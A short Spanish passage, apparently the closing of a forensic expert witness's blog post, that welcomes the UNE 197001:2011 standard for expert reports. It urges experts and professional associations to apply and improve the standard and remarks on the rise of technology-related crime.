En definitiva, como perito me ha alegrado mucho la publicación de la norma UNE 197001:2011; aunque sea bastante vaga y generalista, creo que es un buen punto de partida y, si se continua en esta línea y se pueden publicar normas más específicas, será una buena señal… o mala, según como se mire, porque habrá más juicios en los que interviene la tecnología y eso significa que el delito con tecnología de por medio va en aumento… Ahora toca que peritos y Colegios Profesionales nos empecemos a poner las pilas, apliquemos la norma, la discutamos, la mejoremos y, en definitiva, que esto sirva para hacer un mejor trabajo en el ámbito del peritaje -muy importante cuando tenemos delante gente que se juega sanciones duras o incluso la cárcel-. Y de los problemas de la pericia tecnológica para los juristas podremos seguir hablando largo y tendido, porque mucho me temo que eso no habrá norma que lo cambie :)